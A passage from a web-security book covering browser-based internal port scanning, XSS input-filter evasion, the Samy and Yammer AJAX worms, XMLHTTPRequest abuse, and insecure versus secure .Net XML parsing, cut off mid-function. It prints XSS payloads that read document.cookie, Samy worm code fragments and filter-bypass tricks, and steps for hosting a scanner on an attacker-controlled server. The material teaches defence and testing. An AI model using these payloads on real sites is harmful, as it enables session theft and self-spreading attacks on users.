of the host that the attacker wishes to portscan. An <img> tag is then pointed back to a 
server that the attacker controls and passes the current time as an argument. If a machine 
is not running a web server, the <link> tag attempting to load a CSS from it will time 
out. By looping through the IP addresses of all internal hosts the attacker wants to scan 
and measuring the time differences of when the <img> tag gets processed, the attacker 
can determine which internal hosts are running web servers. 

As shown by Ilia Alshanetsky, forcing a victim’s browser to portscan an internal 
network can also be completed without JavaScript. Ilia took Jeremiah Grossman’s 

www.gnucitizen.org/projects/javascript-port-scanner/portscanner.js
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research a step further and published a pair of proof of concept PHP scripts. These scripts 
allow an attacker to force a victim’s browser to conduct a portscan of internal IP addresses. 
This tool can be used by an attacker using the following steps:

 1. The attacker downloads the two PHP scripts displayed at http://ilia.ws/
archives/145-Network-Scanning-with-HTTP-without-JavaScript.html and host 
it on a web server under his control, such as http://www.cybervillains.com/
scan.php.

 2. The attacker edits the script that performs the scans and modifi es two HTML 
tags. First, the attacker edits the <link> tag on line 13 to set the internal IP 
range he wants to force the victim’s browser to scan. Second, he edits the 
<img> tag on line 14 to point to scan.php script on the web server under his 
control. When a victim views the page, scan.php will save the results of the 
portscan to a text fi le in the /tmp/ directory. The attacker can then read the 
victim’s web server logs to see these results.

 3. The attacker then forces the victim to view the www.cybervillains.com/scan.php 
URL, through an attack such as a phishing e-mail or a browser vulnerability.

 4. Finally, the attacker views the logs created in /tmp/ by scan.php and reviews 
the results of the portscan obtained from the victim’s browser. As shown in 
Figure 4-6, when a victim visits the port scanner HTML page, a fi le is created 
in /tmp/ on the attacker’s web server. This fi le will contain information on the 
sequential range of IP addresses scanned inside the victims internal network.

Figure 4-6  Port Scanner Output

http://www.cybervillains.com/scan.php
http://www.cybervillains.com/scan.php
www.cybervillains.com/scan.php
http://ilia.ws/archives/145-Network-Scanning-with-HTTP-without-JavaScript.html
http://ilia.ws/archives/145-Network-Scanning-with-HTTP-without-JavaScript.html
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JavaScript Port Scanning Countermeasure
Countermeasures for JavaScript Port Scanning are only partially effective. If the attack is 
being performed via JavaScript, a user can defend herself by disabling JavaScript in her 
browser. However, as noted, this attack can also be performed via HTML, in which case 
disabling JavaScript will not stop the attack. 

Bypass Input Filters
A great way to stop malicious JavaScript is to ensure it cannot be inserted into a web 
application. Input filtering is probably the first line of defense used by most organizations, 
but it should not be used as the only line of defense. JavaScript is used on most web 
applications; however, there is often little need for an end user to insert real scripts into 
a web page. If HTML code is allowed in the application for legitimate purposes, allowing 
a user a blank canvas for JavaScript is probably a bad idea, as it opens the door for 
malicious attacks. Writing good web applications is the best way to prevent malicious 
JavaScript, but ensuring input filters cannot be bypassed with powerful functions, such 
as a XMLHTTPRequest, is also necessary. As developers known well, it is difficult to 
restrict inputs that are required to make the application work well; therefore, filtering 
out items that are known as bad or simply not required is one of many steps that can stop 
malicious JavaScript. 

Nowadays, input filters are gospel for modern web applications. Every security 
professional emphasizes this over and over again during security presentations for web 
application security. While the need for input filtering is important, the need for good
input filtering is even more important. Evading input filters is about as easy as evading 
IDS signatures in the 1990s—it’s amazingly simple. While many sites have joined the 
input filtering bandwagon years ago, good input filtering or even positive filtering has 
not been the norm.

For example, for a given test string for XSS, such as <script>alert(document
.cookie)</script>, several variants could be used to evade input filtering measure. 
The following examples show a few subversion methods, including Base64 encoding, 
HEX, and decimal:

• Base64 PHNjcmlwdD4=

• HEX &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

• Decimal &#60&#115&#99&#114&#105&#112&#116&#62

Is the web application performing input filtering on all these values? Probably; 
however, what about the web browser? If an attacker posted a script onto a web page 
that is then converted to ASCII by the browser automatically, is that a security issue of 
the web application or a security issue of the browser? As we will discuss later on in the 
Samy worm discussion, a lot of browser leniencies make character conversation a tough 
thing to defend against.

A simple way to check for transformation between ASCII script characters to hex or 
binary is by using the iSEC SecurityQA Toolbar. The toolbar has a standard library for 
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XSS checks, but it can also can transform its library to hex or decimal encoding to verify 
whether the application is using strong input filtering/positive validation compared to 
the base filtering methods (such as ASCII of <script>). It should be noted that this 
option will make the transformation test 10 times longer, so this is probably a test to run 
overnight to give it adequate time to finish.

Complete the following exercise to test character transformation with the iSEC 
SecurityQA Toolbar:

 1. Visit www.isecpartners.com/SecurityQAToolbar and request an evaluation 
copy of the product.

 2. After installing the toolbar, visit the web application for which you want to test 
the input fi ltering.

 3. Select Options | Confi guration. 

 4. Highlight the XSS (Cross-Site Scripting) under Module on the left hand side. 

 5. On the right hand side, check the Transformation Character Set and click Apply, 
as shown in Figure 4-7.

 6. From the SecurityQA Toolbar, select Session Management | Cross-Site 
Scripting, as shown in Figure 4-8.

Figure 4-7  Select Transformation for XSS library

www.isecpartners.com/SecurityQAToolbar
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  The SecurityQA Toolbar will automatically check for XSS attacks using hex and 
decimal transformation on the request. Hence, the request for <script> will 
actually be converted to &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
&#x3E; for hex and &#60&#115&#99&#114&#105&#112&#116&#62 for decimal. 

 7. Once the security toolbar has been completed, view the report by selecting 
Reports | Current Test Results. The SecurityQA Toolbar will then display all 
security fl aws found from the results in the browser (see Figure 4-9). Notice that 
the iSEC Test Value line shows that a hex encoding was able to bypass the input 
fi lters on the web application.

Along with transformation using hex or decimal encodings, image tags, style tags, 
and newlines seem to bypass a lot of input filtering at the date of this publication. A XSS 
can be executed using image tags, style tags, or newlines, which are also checked by the 
iSEC SecurityQA Toolbar but are listed below for an easy attack check:

• XSS using script tags:

<script>alert(document.cookie)</script>

• XSS using image tags:

<IMG SRC=javascript:alert(document.cookie)>

Figure 4-8  SecurityQA Toolbar’s Cross-Site Scripting feature
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• XSS using style tags:

<style>.getcookies(background-image:url

('javascript:alert(document.cookie);');}

</style> <p class="getcookies"></p>

• XSS using newline:

<script type="text/java\nscript">alert(document.cookie)</script>

While this is by no means an exhaustive list, it shows one example for each attempt. 
For example, the SecurityQA Toolbar has 50 checks each for style and image tags 

Figure 4-9  XSS testing results from SecurityQA Toolbar



Chapter 4: Malicious JavaScript and AJAX 103

respectively, but an easy way to see how well a web application is perform input filtering 
is to try one of these lines. If either style or image tags work, it shows how positive 
filtering is a better approach to stop malicious JavaScript. For example, playing catch-up 
to a new injection technique (for example, style tags) may leave a web application 
vulnerable for a period of time; however, using positive filters, allowing only known and 
approved characters on a web application, ensures that the latest evasion techniques will 
probably be protected against, as the input is being compared to an approved list rather 
than a non-exhaustive unapproved list. 

MALICIOUS AJAX
Malicious AJAX was first introduced to a wide audience with the Samy worm. While the 
1980s gave us the Morris worm, the 1990s gave us I Love You, Blaster, Sasser, Nimda, and 
Slammer, and the new century has introduced us to Samy and Yamanner. Samy was the 
first worm of its kind, an AJAX worm that propagated to more than a million sites on 
MySpace in just a few hours. Unlike past worms that took advantage of specific holes 
from operating systems, Samy exploited holes directly from a web application. The idea 
of Samy was simple: exploit filtering weaknesses and browser “leniencies” through 
JavaScript to perform actions on behalf of web users. The technical abilities of Samy is 
not so simple, as many actions were performed to bypass JavaScript filters, submit GETs 
and POSTs, and perform various AJAX functions to complete all the tasks required.

In addition to the Samy worm on MySpace, shortly thereafter Yahoo! Mail users were 
hit by a worm called JS-Yammer. The JS-Yammer worked because of a security exposure 
in Yahoo! Mail that allowed scripts to be run on a user’s system that were embedded 
within an HTML e-mail. Once the mail was read, every yahoo.com or yahoogroups.com 
user in the user’s address book was also sent the malicious e-mail and consequently 
affected (if the mail was opened). While the damage from Samy was obvious downtime 
of a 580 million web sites as well as reputation damage of the organization, the worm on 
Yahoo! Mail might have been more distressing since personal address books were stolen 
and then abused. 

The next section of the chapter discusses how malicious JavaScript can be abused to 
do simple things, such as visit a web page on a user’s behalf without the user knowing, 
to very complex things, such as bringing down a $500 million web page or stealing 
personal information from a user without the user’s knowedge. 

XMLHTTPRequest
XMLHTTPRequest (XHR) is a library used to perform asynchronous data transfers and 
is often used by AJAX applications. XMLHTTPRequest helps web developers push and 
pull data over HTTP from several locations by using an independent channel with the 
web server. XHR is quite important to Web 2.0 applications as it allows the page to 
implement real-time responsive actions without requiring a full refresh of the web page 
(or any other actions from the user). Developers like this because it means only the 
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changed data needs to be sent, instead of the full HTML, which results in web applications 
that appear more responsive. The methods supported by XHR include most of the HTTP 
methods, including GET, POST, HEAD, POST, and DELETE, via its open method:

Open (HTTP method, URL)

Here’s a sample XHR request to GET a web page:

open("GET", "http://www.isecpartners.com")

Using XHR, an attacker who entices a user to visit a web page can perform GETs and 
POSTs on behalf of the user. The great thing about XHR is that it will not perform any 
actions on a different domain, so the request must be within the same domain of the 
page. For example, if the attacker entices a victim user to visit www.clevelandbrowns
.com, which includes a malicious XHR request that submits a GET to an evil site called 
www.baltimorebenedicts.com, the XHR request will fail since the request is not within 
the clevelandbrowns.com domain. However, if the attacker tries to get the user to visit 
www.clevelandbrowns.com/ArtLied, XHR will allow the request.

Even with the domain limitation, attackers know a lot of targets on the information 
super highway. Social networking sites such as MySpace, Facebook, or Linked-in; blog 
applications such as blogger.com; or simply common mail applications such as Yahoo!, 
Google, or Hotmail are all attacks where an XHR GETs or POSTs could affect thousands 
of users within one domain. For example, the Samy worm was able to perform XMLHTTP 
POSTs on MySpace by calling the URL with the www prefix (www.myspace.com + [name 
of myspace user]). 

Some of you might be saying that any JavaScript could perform similar exploits, so 
what is the big deal about XHR? The fact that XHR can automatically (and easily) per-
form GETs and POSTs without the user’s participation is key. For example, using XHR to 
POST is far simpler because the attacker can simply send the data. With JavaScript, the 
attacker would have to build a form with all the correct values in an iFrame and then 
submit that form. For an attack to be a full-blown virus or worm, it must be able to pro-
rogate by itself, with limited or no user interaction. For example, XHR can allow many 
HTTP GETs or POSTs automatically, forcing a user to perform many functions asynchro-
nously. Or a malicious XHR function could force a user to purchase an item by viewing 
a simple web forum posting about the product. While the web application require mul-
tiple verification steps, including add-to-card, buy, confirm, and then purchase, XHR can 
automate the POSTs behind the scenes.

If the simple act of a user checking e-mail or visiting a friend’s MySpace page forces 
the browser to perform malicious actions on behalf of the user, which then sends the 
malicious script to the user’s friends, then a JavaScript virus/worm is alive and kicking. 
Furthermore, since applications are not able to differentiate between requests that come 
from a user verses those from XHR requests, it is difficult to distinguish between forced 
clicks and legitimate ones.

To explain the issue further, consider a simple web page that will automatically force the 
browser to submit a GET to a URL of the attacker’s choice. The following page of JavaScript 

www.clevelandbrowns.com
www.clevelandbrowns.com
www.baltimorebenedicts.com
www.clevelandbrowns.com/ArtLied
www.myspace.com
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uses the XHR function. When a user visits labs.isecpartners.com/HackingExposedWeb20/
XHR.htm, the XHR function will automatically perform GETs on labs.isecpartners.com/
HackingExposedWeb20/isecpartners.htm. 

//URL: http://labs.isecpartners.com/HackingExposedWeb20/XHR.htm

<body>

<script>

if (window.XMLHttpRequest){

      // If IE7, Mozilla, Safari, etc: Use native object

      var xmlHttp = new XMLHttpRequest()

}

      else

      {

      if (window.ActiveXObject){

            // ...otherwise, use the ActiveX control for IE5.x and IE6

            var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

            }

}

function updatePage() {

      if (xmlHttp.readyState == 4) {

      if (request.status == 200) {

      var response = xmlHttp.responseText;

      }

      }

}

xmlHttp.open("GET",

"http://labs.isecpartners.com/HackingExposedWeb20/isecpartners.htm);

xmlHttp.onreadystatechange = updatePage;

alert(xmlHttp.send());

</script>

iSEC Partners

</body>

While the intention of the user was simply to visit XHR.htm, but via XHR, the web 
page was able to force the user to visit isecpartners.htm without the user’s knowledge or 
permission. Next, labs.isecpartners.com/HackingExposedWeb20/XHR.htm is not an 
AJAX application; it is a static web page that calls an AJAX function in the browser (as 
noted by the boldface lines). Hence, the ability to execute the GET via XHR is supported 
by Internet Explorer, Safari, and Firefox, not by the web server on the remote site.
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This introduces a low barrier to entry for attackers trying to exploit XHR functionality on 
modern web browsers. Figure 4-10 exposes a sniffed program that shows the initial request 
to labs.isecpartners.com/HackingExposedWeb20/XHR.htm on line 6 and then the automatic 
XHR to labs.isecpartners.com/HackingExposedWeb20/isecpartners.htm on line 10. 

While the example shown in Figure 4-10 might produce more hits on a web page, a 
portal application, such as Yahoo! or Google, could do more damage. For example, 
forcing a user to POST account information, such as an address or phone number, from 
a social networking site or to force a user to POST e-mails to all addresses from a contacts 
list would be far more devastating, and both are certainly possible with XHR and depend 
on the security controls of the remote application.

AUTOMATED AJAX TESTING
To identify AJAX security issues, it is import to test AJAX applications for common secu-
rity flaws. iSEC Partners’ SecurityQA Toolbar can be used to perform some AJAX testing 
in an automated fashion. Complete the following exercise to test AJAX applications with 
the SecurityQA Toolbar:

 1. Visit www.isecpartners.com/SecurityQAToolbar and request an evaluation 
copy of the product.

 2. After installing the toolbar, visit the AJAX web application.

Figure 4-10  Sniffed HTTP Request

www.isecpartners.com/SecurityQAToolbar
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 3. Click the Record button on the toolbar (second to the last red button on the 
right side), and browse the web application. 

 4. After you have clicked through the web application, stop the recorded session 
by clicking the Stop button.

 5. From the SecurityQA Toolbar, select Options | Recorded Sessions. 

 6. Select the session that was just recorded and then select AJAX from the module 
section.

  While automated AJAX testing is diffi cult, the SecurityQA Toolbar will attempt 
to test the AJAX application for common injection fl aws.

 7. Click the Go button on the right side.

 8. Once the security toolbar has been completed, view the report by selecting 
Reports | Current Test Results. The SecurityQA Toolbar will display all security 
fl aws found from the results in the browser. 

SAMY WORM
Through malicious JavaScript and browser “leniencies,” Samy was the first self-propa-
gating XSS worm. In 24 hours, Samy had more than a million friends on MySpace, each 
claiming “Samy is my hero.” 

A primary hurdle for Samy was bypassing input filters on restricted HTML. MySpace 
performs input filtering on HTML to prevent malicious JavaScript execution. For 
example, MySpace restricted use of <script>, the word javascript, <Href>, and a lot 
more items, but restrictions were largely based on static words such as javascript. MySpace 
did not restrict these items if they contained newlines or were converted to ACSII and 
hex encoding.

Following is a description of how Samy bypassed input filters in MySpace:

 1. The word javascript was fi ltered by MySpace. To get around this fi ltering, Samy 
simply added a new line (denoted by \n) between the words java and script.
For example, javascript became java\nscript, which translated to this:

'java

script'

  When \n was inserted between java and script, the browser interpreted the code 
as javascript, allowing JavaScript to be executed on MySpace. The Samy code 
went from this,

java\nscript:eval(document.all.mycode.expr)

  to this:

java

script:eval(document.all.mycode.expr)
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 2. MySpace also fi ltered double quotes ("), which were needed for the worm. 
While all quotes were escaped by MySpace fi ltering, Samy was able to use 
JavaScript to converted double quotes from decimal to ASCII characters. 
Because JavaScript was proved to be useable on MySpace, Samy was able to 
use JavaScript to convert decimal to ASCII characters. This allowed to be 
double quotes (") to be converted to CharCode(34), bypassing the input 
fi ltering for double quotes, as shown here:

('double quote: ' + String.fromCharCode(34))

 3. The word innerHTML was also fi ltered by MySpace, which was needed by 
Samy to post code on the profi le of the user who was currently viewing the 
page. To get around this fi ltering, Samy used eval(), which is used to evaluate 
two strings in JavaScript and then can be used to put the strings together. For 
example, the following JavaScript eval code will print the number 1108 by 
evaluating strings a and b:

alert(eval("a=1100; b=108; (a+b); "));

  The same method can be applied here to combine to strings values to bypass 
fi lters. This method was used by Samy to combine the words inne with rHTML,
as shown below in a snippet of Samy’s code: 

alert(eval('document.body.inne' + 'rHTML'));

 4. The word onreadystatechange was also fi ltered by MySpace, which was needed 
by Samy to use a XMLHTTPRequest to get the user’s browser to make HTTP 
GET and POST requests. To get around this fi ltering, Samy also used the 
eval() function, as shown next in a snippet of Samy’s code. Notice how 
eval() is used to combined xmlhttp.onread and ystatechange = callback:

eval('xmlhttp.onread' + 'ystatechange = callback');

From these input filtering bypass actions, Samy was able to perform the following 
malicious JavaScript functions on MySpace:

• Execute JavaScript

• Use double quotes by converting decimal to ASCII

• Use innerHTML with eval(), allowing code to be posted on a user’s profi le 

• Use onreadystatechange eval(), forcing the user’s browser to make 
HTTP GET and POST request with XML-HTTP

After input filers were bypassed by Samy to run the critical function with JavaScript, 
how were those functions actually executed? One of the primary reasons why the Samy 
worm was successful was because XMLHTTPRequest can silently execute GET and 
POST requests on behalf of the user. A secondary hurdle for Samy was to force the 
browser to execute multiple GETs and POSTs, search source pages for specific values, 
and perform other hostile actions on behalf of the currently logged-in user. The actions 
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were primarily performed with XMLHTTPRequest. The following shows how Samy 
was able to execute such functions.

 1. Samy needed to force a user’s browsers to perform GETs to get the user’s 
current list of heroes. To perform this action, XMLHTTPRequest was used, 
which was already made possible by item number 4 in the preceding input 
fi ltering bypass section. The following code sample was used by Samy to force 
GETs by the browser:

function

      getData(AU){

      M=getFromURL(AU,'friendID');

      L=getFromURL(AU,'Mytoken')

      }

 2. To fi nd the friendID of the user viewing the page, Samy need to search the 
source page for the specifi c friendID. Using the eval() function again, Samy 
was able to fi nd the value and store it for later use:

var index = html.indexOf('frien' + 'dID');

 3. From GETs and searches, Samy was able to get a list of friends, but he now 
needed to perform a POST to force the user to add Samy as a friend 
(and a hero). XMLHTTPRequest POST was used to perform this action, 
which was again possible using item number 4 in the input fi ltering bypass 
section. Furthermore, while XMLHTTPRequest would restrict POSTs to profi le
.myspace.com because it is on a different domain, a profi le can be reached using 
www.myspace.com/profi le (where profi le is the name of the user). Samy simply 
replaced profi le.myspace.com with www.myspace.com and submitted the request. 
The following sample code was used by Samy to force-convert profi le to www
for the requested user:

var

M=AS['friendID'];

if(location.hostname=='profile.myspace.com'){

document.location='http://www.myspace.com'

+location.pathname+location.search

}

else{

if(!M){

getData(g())

}

Using these steps, Samy was able to perform the following malicious JavaScript 
functions on MySpace:

• Force the user’s browser to perform GETs by XMLHTTPRequest

• Search the current source page of the user

• Force the user’s browser to perform POSTs by XMLHTTPRequest

www.myspace.com/profile
www.myspace.com
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These executed actions, combined with the input filtering bypass actions, allowed 
Samy to do basically anything he wanted via JavaScript and AJAX (XMLHTTPRequest) 
once a user visited his MySpace page. Once his code was completed to perform all the 
actions described so far, his final step was to load the worm. The follow steps highlight 
his actions from posting the worm to propagating it:

 1. Place hostile JavaScript on MySpace page. Once a user views the page, all the 
malicious code is executed by the user’s browser, which includes forcing the 
browser to perform HTTP GETs/POSTs. 

 2. The code adds Samy to as the user’s friend, which is completed by 
XMLHTTPRequest with several GETs/POSTs. The code also grabs a list 
of the user’s hero and adds Samy as a hero, by specifi cally adding “but most 
of all, samy is my hero”.

 3. For self-propagation, allowing this to be classifi ed as worm and not a Trojan 
horse, the worm will post the hostile code to the user’s hero pages as well, 
blasting all the user’s heroes with the malicious code automatically. 

 4. Once a user’s hero was infected with the code, Samy would be added as a 
friend and all their heroes would then be blasted with the code, repeating steps 
2 through 4 indefi nitely until MySpace eventually was forced to shut down its 
site to clear up the worm. 

YAMMER VIRUS
In addition to the Samy worm, malicious JavaScript was the culprit for a virus attack that 
affected Yahoo! Mail users in June 2006. The New Graphic Site, or “this is a test,” virus 
infected users via a vulnerability in Yahoo! Mail using a XMLHTTPRequest. The security 
exposure enabled scripts that were embedded in HTML to run within a user’s browser 
(instead of being blocked). Unlike other e-mail worms, no attachment was used, just the 
malicious JavaScript itself. If a Yahoo! user clicked the malicious e-mail, the worm would 
automatically exploit the vulnerability in the mail program. The script would allow the 
attacker to locate all the personal folders of the user, grab every @yahoo.com or 
@yahoogroups.com mail account, spread itself by sending the malicious e-mail to all 
these accounts, and then send all harvested e-mail information to a remote server on the 
internet, presumably controlled by the attacker. Finally, the worm redirected the user to 
http://www.av3.net/index.htm. 

The security exposure in Yahoo! Mail exposed by the Yammer virus was similar to 
the Samy worm: the ability to write HTML with an embedded script. Using XMLHTTP
Request, Yammer was able to force the browser to execute actions on behalf of currently 
logged-in user. Once the XHR request was possible through the Yahoo! security hole, the 
script was able to perform all the actions described in the preceding paragraph. Lucky 
for Yahoo! Mail users, the virus did not attempt to affect the user’s operating systems, 
which could have led to more damaging results. Yammer did compromise the personal 
folder information of infected users, leading to privacy concerns over stolen data. Unlike 
data stored in an operating system that can be rebuilt, information stolen from an e-mail 
account is not easy to rebuild. 

http://www.av3.net/index.htm
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SUMMARY
JavaScript and AJAX are no longer harmless web technologies. Attacks such as XSS, 
which have traditionally been used for stealing session cookies, can now be combined 
with publicly available tools such as XSS proxies. When loaded, these proxies give the 
attacker full control over the victim’s browser to perform actions such as logging all 
characters a user types into the browser and obtaining the data saved in the user’s 
clipboard. Additionally, proxies can be used to bypass security precautions a web site 
may use, such as IP restrictions. In addition to advanced XSS tools, malicious JavaScript 
can allow attackers to launch attacks against a victim’s internal network and can be used 
to compromise a victim’s private information, such as browsing history.

Powerful AJAX functions that improve the experience of web users can also be used 
against them. AJAX worms, such as Samy and Yammer, as well as powerful AJAX func-
tions, such as XMLHTTPRequest, give attackers a whole new playing field in which to 
manipulate web users without their knowledge and/or permission. As more and more 
everyday tasks move from desktop applications to web applications running in the 
browser, the risk posed by malicious AJAX will increase.
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.Net Security
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Microsoft developed the .Net platform as a competitor to Sun Microsystems’ 
Java language and SDK. The .Net Framework allows developers to work 
within a controlled environment that handles memory management and 

object lifetime management, and it provides a framework for developers to develop 
web, server, and client applications. .Net provides support for multiple languages, 
including C#, Visual Basic.Net, and Managed C++; the ASP.Net web application 
platform; and broad class libraries.

Code written in a .Net language does not run directly on the machine, but is instead 
executed by the Common Language Runtime (CLR). The CLR provides memory and 
object management functions in addition to abstracting away the underlying platform. 
By providing this layer of abstraction, .Net code is able to run on multiple operating 
systems and processor architectures while preventing vulnerabilities, such as buffer 
overflows, integer overflows, and format string vulnerabilities, traditionally related to 
poor memory management.

Code written to use the CLR is commonly referred to as “managed” code, while 
traditional code that runs outside of the CLR is referred to as “native” code. This 
vocabulary is derived from the fact that CLR code runs in a managed environment while 
other code runs natively on the machine’s processor. Currently, Microsoft ships a CLR 
implementation for Windows and Windows CE, but the open source community has 
created the Mono implementation of the CLR. The Mono implementation of CLR is truly 
platform-independent and is capable of running on several operating systems including 
Linux, Mac OS X, and FreeBSD. The availability of Mono allows some .Net applications 
to be ported from Windows.

At the time of this writing, the most current version of the .Net Framework is 3.0. 
.Net 3.0 is the fourth version of the .Net Framework and the third release of the CLR. 
Version 3.0 of the .Net Framework was preceded by .Net 1.0, 1.1, and 2.0. The .Net Frame-
work 1.1 represented a small change from .Net Framework 1.0, while the .Net Frame-
work 2.0 contained significant new language features and an expanded class library. 
New language features for 2.0 include support for generics, nullable types, anonymous 
methods, and iterators. Additionally, the .Net Framework now includes more applica-
tion security features that developers can use when developing applications. The .Net 
Framework 3.0 adds no language features. In fact, the CLR is still versioned as 2.0, but 
3.0 does significantly expand the core class libraries by adding the Windows Communi-
cation Foundation (WCF) messaging stack, Infocard, a workflow engine known as 
Windows Workflow Foundation (WWF), and new user interface APIs in Windows Pre-
sentation Foundation (WPF). The new APIs in the .Net Framework 3.0 were developed 
and released along with Windows Vista but are also available for earlier versions of Win-
dows such as Windows XP. 

Since its introduction, .Net usage has increased dramatically and the platform is now 
a popular choice for web application developers. This chapter focuses on ASP.Net, the 
web application platform, and describes some of the security functionality available to 
developers. In particular, some of the common Web 2.0 attacks and their .Net manifesta-
tions are discussed. This chapter covers the .Net Framework and CLR version 2.0, as 
these versions are the most widely in use and the core runtime and libraries were not 
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changed between .Net 2.0 and 3.0. Most of this information assumes a basic understand-
ing of .Net vocabulary and concepts. If you need more clarification, you can find lots of 
information at Microsoft’s Developer Network (MSDN) at http://msdn.microsoft.com

When reviewing .Net Framework applications, the security issues you will most 
likely encounter are related to misuse of framework APIs and faulty application logic. 
Buffer overflows and other traditional attacks against native code are not as likely within 
.Net’s managed environment. The .Net Framework’s ease-of-use and the ability to write 
quick code lulls developers into using sloppy application development practices. 
Attackers take advantage of this ease-of-use by spending time getting to know the .Net 
Framework and the common ways that Framework APIs and the platform are misused.

GENERAL FRAMEWORK ATTACKS
Reversing, XML, and SQL attacks are threats to the .Net Framework regardless of whether 
or not the application is an ASP.Net application.

Reversing the .Net Framework
When .Net code is compiled from a CLR language such as C#, it is not turned directly 
into native bytecode ready to be run by the operating system. Instead, the compiler 
produces assemblies containing intermediate bytecode in a format known as Microsoft 
Intermediate Language (MSIL). This intermediate language is similar to traditional x86 
assembly except that it has a much richer operation set and knowledge of high-level 
programming language concepts such as objects and types. By using an intermediate 
language, the CLR is able to control a program’s operating environment more effectively. 
This control enables the buffer and object management that was mentioned earlier.

When the CLR begins to run an MSIL assembly, the CLR performs a Just-in-Time 
(JIT) compilation to transform MSIL to code native to the current system. For example, 
on a x86 machine, the CLR will JIT the MSIL to native x86 bytecode. Performing the JIT 
step slows down the first launch of a program but increases the program’s runtime 
performance.

In addition to the executable instructions, MSIL assemblies have a large amount of 
metadata describing the types and objects contained within. Using freely available tools, 
it is simple to peer inside assemblies and get a complete listing of the application’s code. 
Much of the information in this chapter was assembled by reading documentation, ex-
perimenting with sample code, and using a .Net decompiler to examine the Framework’s 
own internals to figure out what was really going on. 

The preferred .Net decompiler is .Net Reflector and is available free from www.aisto
.com/roeder/dotnet/. .Net Reflector allows decompilation of MSIL assemblies into a 
.Net language of your choice. Keep this tool in mind when working with the .Net 
Framework and looking for new vulnerabilities and patterns that may cause application 
security issues. As a developer, remember that .Net code may be easily turned from 
MSIL into a form closely approximating the application’s source code. This makes it 

www.aisto.com/roeder/dotnet/
www.aisto.com/roeder/dotnet/
http://msdn.microsoft.com
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more critical that you not attempt to obfuscate or hide sensitive data within your 
assemblies, as a dedicated attacker will almost always be able to discover it.

To demonstrate the power of decompilation, the examples below show the original 
C# source code for a simple Hello World application and the decompiled output using 
.Net Reflector against the compiled assembly without access to the original code.

Here’s the C# listing:

static void Main(string[] args)

{

    int theNumberTwo = 2;

    int theNumberThree = 3;

    string formatString = "Hello World, The Magic Number is {0}";

    Console.WriteLine(formatString, theNumberTwo + theNumberThree);

    Environment.Exit(0);

}

And here’s the decompiled output from .Net Reflector:

private static void Main(string[] args)

{

    int num = 2;

    int num2 = 3;

    string format = "Hello World, The Magic Number is {0}";

    Console.WriteLine(format, num + num2);

    Environment.Exit(0);

}

These two listings are almost identical, even though .Net Reflector had no access to 
source code! The main difference is the variable names, because these are not included in 
the MSIL. To handle this, .Net Reflector assigns names based on the objects’ type and the 
order in which the objects are created. Hopefully, this example gives you an idea of how 
effective decompilation can be when analyzing .Net applications without source. To 
mitigate the effectiveness of .Net reversing several obfuscation products have been 
released that prevent analysis by changing the names of variables and classes to make 
analysis more difficult. Unfortunately, these products will only slow down a dedicated 
reverser and are not a totally effective mitigation. 

XML Attacks
The .Net Framework class libraries have extensive, native support for XML. This support 
is provided through the System.Xml namespace. Using the .Net Framework, application 
developers can easily write applications that consume or produce XML, perform Exten-
sible Stylesheet Language Transformations (XSLT) transformations, apply XML Schema 
Definition (XSD) schema validation, or use XML-based web services. Unfortunately, 
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many of the original XML classes were vulnerable to common XML attacks such as exter-
nal entity (XXE, as discussed in Chapter 1) references and the billion laughs attack. While 
many of the defaults have been changed in the new 2.0 .Net classes, the core XML classes 
were not changed, as this would have an impact on backward compatibility. Microsoft’s 
deference to backward compatibility means that developers can easily make mistakes 
when handling XML from untrusted sources. A skilled attacker can make use of such is-
sues whenever XML and .Net are being used together. 

One of the more common methods of manipulating XML in .Net is to use the System.
XmlDocument classes. The XmlDocument class consumes XML and creates an internal 
representation of the document known as a Document Object Model (DOM). The DOM 
allows developers to manipulate the document easily, whether by performing XPath 
queries or by navigating the document in a hierarchical manner. Unfortunately, the 
methods used by the XmlDocument to load XML have insecure defaults and are there-
fore vulnerable to external entity and entity expansion attacks. 

 Forcing the Application Server to Become 
Unavailable when Parsing XML

Popularity: 4

Simplicity: 8

Impact: 6

Risk Rating: 6

Consider the functions in the following example, which create a DOM from XML 
supplied from either a file or from the user as a string. The latter case is common in web 
applications that handle data from users and use XML to serialize state.

/// <summary>

 /// Loads xml from a file, returns the loaded XmlDocument

 /// </summary>

 /// <param name="xmlFile">URI of file containing Xml</param>

 /// <returns>Loaded XmlDocument object</returns>

 public XmlDocument InSecureXmlFileLoad(string xmlFile)

 {

     XmlDocument xmlDocument = new XmlDocument();

     xmlDocument.Load(xmlFile);

     return xmlDocument;

 }

 /// <summary>

 /// Loads xml from a string.

 /// </summary>

 /// <param name="serializedXml">Xml serialized as a string</param>
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 /// <returns>Loaded XmlDocument object</returns>

 public XmlDocument InsecureXmlStringLoad(string serializedXml)

 {

     XmlDocument xmlDocument = new XmlDocument();

     //Behind the scenes, .Net creates an insecure XmlTextReader

     xmlDocument.LoadXml(serializedXml);

     return xmlDocument;

 }

If this code was contained within an application server and was handling attacker-
supplied data, an attacker could easily force the application server to become unavail-
able. Starting with the .Net Framework 2.0, the System.Xml namespace contains an 
XmlReader class that disables processing of Document Type Definitions (DTDs) by 
default. Using this class when loading XML into a XmlDocument can be significantly 
safer.

 Confi gure XML Loading Classes 
to Load XML Securely
Following are secure examples of creating an XmlDocument from a file or a string. Note 
that the ProhibitDtd setting is set to True even though True is the default value with 
the XmlReader class. Setting this value explicitly is important in case Microsoft ever 
decides to change the defaults in future versions of the .Net Framework.

/// <summary>

/// Creates a XmlDocument from a file, prevents known Xml

/// attacks.

/// </summary>

/// <param name="xmlFile">URI of file containing Xml</param>

/// <returns>Loaded XmlDocument object</returns>

public XmlDocument SecureXmlFileLoad(string xmlFile)

{

    XmlDocument xmlDocument = new XmlDocument();

    XmlReaderSettings readerSettings = new XmlReaderSettings();

    readerSettings.ProhibitDtd = true; //Prevent entity expansion

    readerSettings.XmlResolver = null; //Prevent external references

    readerSettings.IgnoreProcessingInstructions = true;

    XmlReader xmlReader = XmlReader.Create(xmlFile, readerSettings);

    xmlDocument.Load(xmlReader);

    return xmlDocument;

}

/// <summary>

/// Creates a XmlDocument from a string containing serialized Xml,
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/// prevents known Xml attacks.

/// </summary>

/// <param name="serializedXml">Xml serialized as a string</param>

/// <returns>Loaded XmlDocument object</returns>

public XmlDocument SecureXmlStringLoad(string serializedXml)

{

    XmlDocument xmlDocument = new XmlDocument();

